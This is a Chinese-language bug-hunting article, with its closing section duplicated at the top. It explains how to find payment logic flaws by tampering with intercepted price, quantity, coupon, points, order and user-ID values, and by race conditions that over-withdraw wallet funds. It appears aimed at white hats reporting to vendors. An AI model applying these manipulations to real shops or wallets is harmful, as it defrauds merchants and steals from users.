    多线程并发的相关分析文章:http://wooyun.jozxing.cc/static/drops/papers-831.html
     0x02   支付问题挖掘技巧
    如果你习惯用BurpSuite工具,那么在你测试抓包的时候通常请求包都有很多,比如有3个请求包,第一个请求包是一个干扰数据包,第二个是一个图片加载的数据包,第三个可能才是支付相关的数据包,所以有时候要细心,不要认为抓不到,如果你用的是其它工具,那么可以查看整个提交过程,所以很容易看到提交的各种数据包,在BurpSuite当中你可以通过Target这模块进行分析,这个模块会有你测试时相关的数据包。
     
    总结:支付问题一直以来就是很严重的问题,不管对厂商来说还是用户来说,让支付过程中更安全,是每一个从事安全方面人的责任,因为交易无时无刻的都在进行。最后希望更多白帽子扩展思路,挖掘到相关问题并提交给厂商,同样厂商也要更加注重安全。发现问题,解决问题,让这个世界更美,下次文章见~ 查看全部
    转自(https://butian.360.cn/School/content?id=395
     
    支付漏洞一直以来就是是高风险,对企业来说危害很大,对用户来说同样危害也大。就比如我用他人账户进行消费,这也属于支付漏洞中的越权问题。那么支付漏洞一般存在在哪些方面呢,根据名字就知道,凡是涉及购买、资金等方面的功能处就有可能存在支付问题。本文章将分类来进行讲述支付漏洞当中的那些思路。
    首先说下支付问题的思路
    0x01   修改支付价格
    在支付当中,购买商品一般分为三步骤:订购、确认信息、付款。
    那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。
    这里我找到了相关例子:
    http://www.anquan.us/static/bugs/wooyun-2016-0174748.html 
    0x02   修改支付状态
    这个问题我隐约的遇到过,之前在找相关资料的时候发现了一篇文章讲的是修改支付状态为已支付状态这样的思路,然后勾起了我的回想,这个问题是没有对支付状态的值跟实际订单支付状态进行校验,导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。
    0x03   修改购买数量
    在支付的过程中,数量也同时决定着价格,比如:1个数量商品对应的是100,2个数据就是200,那么当你修改这个值数量值为负数时,那么其金额也会变为负数,最后就会导致支付问题的产生。
    0x04   修改附属值
    这里是我自己想的一个词,比如在很多购买的时候都可以利用积分或者优惠劵等等进行代替金额付款,那么就容易存在问题。在这里我把附属值分为几类进行讲述。
    ①:修改优惠劵金额
    优惠劵其基本都是优惠一半,一般用优惠劵进行消费一般出现在第二个步骤当中:确认购买信息,在这个步骤页面当中,你可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格就可以,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功。
    ②:修改优惠劵金额及业务逻辑问题
    可能你看到这个标题会想到,你不是上一个讲的就是这个修改优惠劵金额的问题嘛?为什么还要再讲一遍这个?请继续看!
    之前遇到过这个漏洞,这个漏洞也是逻辑问题导致了成功利用,同样在是在第二部确认购买信息当中有可选择优惠劵进行支付,但是,当你修改其优惠劵值为任意值或负值想要支付的时候,会回显支付失败,或者金额有误等一些提示,可能这时很多白帽子会很失望然后就会去其它点找问题了,但当你找到个人中心,点击订单详情,如果存在这个逻辑问题,那么此时在你刚刚修改优惠劵金额后点击下一步支付的时候,其实这时候就已经产生了订单了,你在订单详情内就可以看到支付金额为0,因为你刚刚修改了优惠劵金额嘛,然后你点击支付就可以支付成功。
    当然,这里还要说下小技巧,有可能会支付失败,但是如果你找到的这个问题是一个一般业务分站点,如果有自带的一个钱包功能,那么你就可以利用这个只带的钱包功能去支付这个订单,而不要利用其它支付类型,那么就可以支付成功!
    ③:修改积分金额
    有些网站有积分,比如你消费多少,评论多少就可以拥有一定的积分数量,这个积分可以在你付款的时候进行折扣其订单金额,如果这个没有做好积分金额的校验,那么当你在支付当中选择用积分为账户减一些金额的时候,可以抓包修改其积分金额为任意数或负金额,然后可0元支付成功。
    相关例子:http://www.anquan.us/static/bugs/wooyun-2015-0139556.html  
    0x05   修改支付接口
    比如一些网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功。
     0x06   多重替换支付
    以前好像也看到过相关的例子,首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单而的商品。
     0x07   重复支付
    这个其实只是支付当中的一个别类,但是这个思路新颖,所以我就列了出来,比如一些交易市场有一类似于试用牌子或者其它,这个试用牌子可以依靠签到获得,而这个牌子的作用可以去试用一些商品,在你进行试用的时候会扣掉你的试用牌子,当你试用完成或者主动取消试用时,试用牌子会返回到账户当中,你知道,签到得到的牌子肯定很少,且如果想试用好一点的商品那么牌子的数量就尤为重要了。
    这里的问题就是如果没有进行对订单多重提交的校验,那么就可导致无限制刷牌子,比如,你试用时抓包,然后你每次试用都会产生一个订单号,然后利用刚抓到的数据包进行批量提交,你就可以看到每次提交的订单号不一样,然后这时你再看订单可以看到同一个商品的无数订单,但试用牌子数只扣了你第一个试验时的牌子数,那么这时你申请批量退出试用,那么这么多订单,每退一个就会退相应的牌子数量到账户当中,这就构成了无限制刷得问题。
     0x08   最小额支付
    在很多白帽子测试支付的漏洞时候,修改的金额往往都是0.01等或者负数,我想说这很容易错失掉一些潜在的支付问题,我就深有体会,在挖掘支付漏洞的过程当中,就遇到过,直到第三次再一次检测时才发现,比如一些网站有金币或者积分什么就相当于支付可以用这些支付,那么在充值的时候,比如:10元对应的积分值为100、50对应的是5000、100对应的是10000。
    这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功,也就用1元购买到任意值得积分数量了,这是为什么呢?
    其实你在测试过程当中细心点就可以很好发现的,这里最低就是1元,1元对应100积分,而你如果修改为0.01,那么对应的积分就是空值了,所以会显示失败,而当你修改为1元,那么1元这个支付接口是存在的,其后面积分数为其它金额的积分数,然后跳转过去支付就会以1元购买到比它多得多的积分数量,也可以是任意积分值。
     0x09   值为最大值支付问题
    以前也是看到过相关的例子,一些网站比如你购买商品,这里有2个思路修改值,1是直接修改支付金额值为最大值,比如999999999,或者修改附属值,如优惠卷,积分等为999999999,如果这里逻辑设计有问题,那么其支付金额会变为0。
     0x10   越权支付
    这个问题很早之前有过,现在可能很少存在这类问题,在支付当中会出现当前用户的ID,比如:username=XXXXX,如果没有加以验证,其支付也是一次性支付没有要求输入密码什么的机制,那么就可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品。
     0x11   无限制试用
    一些网站的一些商品,比如云系列产品支持试用,试用时期一般为7天或者30天,一个账户只能试用一次,试用期间不能再试用,但如果这个试用接口会做好分配那么很容易导致问题的发生。
    这也是我遇到过的例子,比如:在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功,又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了。
     
     0x12   修改优惠价
    比如一些商品有优惠价,优惠多少多少,那么在支付时抓包,修改这个优惠价就可造成支付问题的产生。
     以下是不常见思路 
    0x01   多线程并发问题

    可能很多白帽子知道,也有可能不知道,或者听说过,但是没有实际挖掘过,那么我相信,这个思路会让你们有新的挖掘方向了。
    现在可能还有一些大厂商存在该问题,多线程并发问题就是没有实时的处理各种状态所导致的问题,之前挖掘过刷钱问题,就是利用该思路,比如很多平台有自家的钱包,而这个钱包是一个迷你钱包,这个钱包作用也仅是用于这当前一个业务平台网站,在提现时,没有任何验证码或者校验机制,只要输入体现金额就可以提现,并且是秒到账,如果什么负数,修改金额都测试过了都不行,那么你就可以试试多线程并发问题,提现时抓包,比如我现在钱包内有0.1元,那么按理说每提0.01可以体现10次,也就是发送10次进程,但是利用这个问题可以达到多发现几次成功的进程,提现时抓包,然后把数据包发送到BurpSuite工具的Intruder当中,进行批量发送18次,然后可以看到成功的提现到了12次。
    这里我贴出相关证明图片:
    这里是从0开始到11截止,我账户内只有0.1 而这里体现了0.12 也就是提现的进程为12次,369为提现成功,349为提现失败的长度值,从这里就可以看出这个问题的危害了,当然此时账户的金额肯定是为负的了,如果把这个提现金额变大,那么这多提现的金额可不是闹着玩的。
    当然,多线程也可以在其它功能处进行测试,比如我之前讲到的试用商品问题,就可以通过多线程进行多几次的使用,比如利用积分总换礼品,一个账户只能进行总换一次,利用这个问题,可以多几次总换,一些转账功能,提现功能,购买功能等等很多。
    多线程并发的相关分析文章:http://wooyun.jozxing.cc/static/drops/papers-831.html
     0x02   支付问题挖掘技巧
    如果你习惯用BurpSuite工具,那么在你测试抓包的时候通常请求包都有很多,比如有3个请求包,第一个请求包是一个干扰数据包,第二个是一个图片加载的数据包,第三个可能才是支付相关的数据包,所以有时候要细心,不要认为抓不到,如果你用的是其它工具,那么可以查看整个提交过程,所以很容易看到提交的各种数据包,在BurpSuite当中你可以通过Target这模块进行分析,这个模块会有你测试时相关的数据包。
     
    总结:支付问题一直以来就是很严重的问题,不管对厂商来说还是用户来说,让支付过程中更安全,是每一个从事安全方面人的责任,因为交易无时无刻的都在进行。最后希望更多白帽子扩展思路,挖掘到相关问题并提交给厂商,同样厂商也要更加注重安全。发现问题,解决问题,让这个世界更美,下次文章见~